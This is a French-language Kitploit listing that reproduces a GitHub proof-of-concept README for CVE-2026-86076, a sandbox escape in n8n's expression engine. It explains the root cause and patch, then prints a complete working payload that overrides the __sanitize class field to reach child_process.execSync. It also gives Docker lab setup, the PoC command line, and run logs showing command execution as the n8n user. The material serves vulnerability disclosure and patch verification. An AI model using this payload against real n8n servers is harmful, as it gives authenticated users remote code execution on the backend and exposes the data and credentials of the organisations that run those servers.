Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-86076-PoC — CVE-2026-86076 — évasion du bac à sable d'expressions n8n via la réaffectation de __sanitize dans un champ de classe (RCE côté backend). Vérifié v2.37.6 (uid=node) / v2.37.7. | Kitploit
Outils/GitHubGitHub/boreas37/cve-2026-86076-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — évasion du bac à sable d'expressions n8n via la réaffectation de __sanitize dans un champ de classe (RCE côté backend). Vérifié v2.37.6 (uid=node) / v2.37.7.

Voir le dépôt
1112il y a 11 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-86076 — évasion du bac à sable d'expressions n8n via le reliage du sanitiseur par champ de classe

Exécution de code authentifiée (édition de workflow) dans le processus backend n8n. Le compilateur d'expressions injecte this.__sanitize(key) pour chaque accès à un membre calculé ; un champ de classe littéralement nommé __sanitize relie à nouveau ce sanitiseur pour le reste du corps de la classe, ce qui laisse passer constructor et atteint le véritable constructeur Function → process.mainModule.require('child_process').

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Affecté : < 1.123.76, >= 2.0.0 < 2.37.7, >= 2.38.0 < 2.38.2
  • Corrigé : 1.123.76 / 2.37.7 / 2.38.2
  • Commit de correction : 184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)", #37588) → packages/workflow/src/expression-sandboxing.ts (visitClassBody rejette les noms de membres réservés) et packages/@n8n/tournament/src/ExpressionBuilder.ts (___n8n_data est désormais une liaison lexicale au lieu de this).

Cause racine

PrototypeSanitizer (un hook AST after) réécrit

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode est l'objet de données de l'expression. Lorsque l'expression ne contient aucun littéral de fonction, dataNode a été émis en tant que this, et non en tant que ___n8n_data lexical :

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

Dans un initialiseur de champ de classe, this est l'instance, donc un champ nommé __sanitize prend le contrôle de l'appel au sanitizer. Un substitut transparent suffit — [].concat.bind([]) renvoie ['constructor'], et obj[['constructor']] est converti en la clé constructor :

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

Code émis (vérifié dans le conteneur avec le vrai compilateur) :

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

Avant le correctif, rien ne rejetait un membre de classe appelé __sanitize (RESERVED_VARIABLE_NAMES n'était vérifié que pour les identifiants liés).

Note sur le moteur (important)

La charge utile nécessite le moteur d'expression in-process :

environment:
  - N8N_EXPRESSION_ENGINE=legacy

Avec le moteur vm par défaut, la même expression contourne toujours le sanitizer AST ([]['constr'+'uctor'] n'est plus bloqué — vérifié), mais le code s'exécute à l'intérieur de l'isolate isolated-vm, qui n'a pas de process.mainModule ; aucune exécution de code hôte. 2.37.7 rejette l'expression sous les deux moteurs.

Lab

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

Les deux fichiers fixent N8N_EXPRESSION_ENGINE=legacy, SQLite, et un montage bind de ./data-*. Le PoC crée lui-même le compte propriétaire (POST /rest/owner/setup + /rest/login).

Exécution

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

Vulnérable — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

Effet de bord relu depuis le conteneur (side_effect_2.37.6.txt) :

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

Corrigé — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

Canal de preuve

La sortie standard de la commande est renvoyée par execSync(...).toString() comme valeur du nœud Set et relue depuis GET /rest/executions/<id>?includeData=true (charge utile « flatted » de n8n, décodée dans le script). L'effet de bord sur disque (/tmp/PWNED_86076) a en outre été confirmé avec docker exec.

Fichiers

fichiercontenu
n8n_poc.pyPoC utilisant uniquement la bibliothèque standard (--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txtexécutions brutes
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.jsonpreuves JSON
side_effect_2.37.6.txt, side_effect_2.37.7.txtvérification côté conteneur
docker_logs_2.37.6.txt, docker_logs_2.37.7.txtjournaux du conteneur
Télécharger l’outil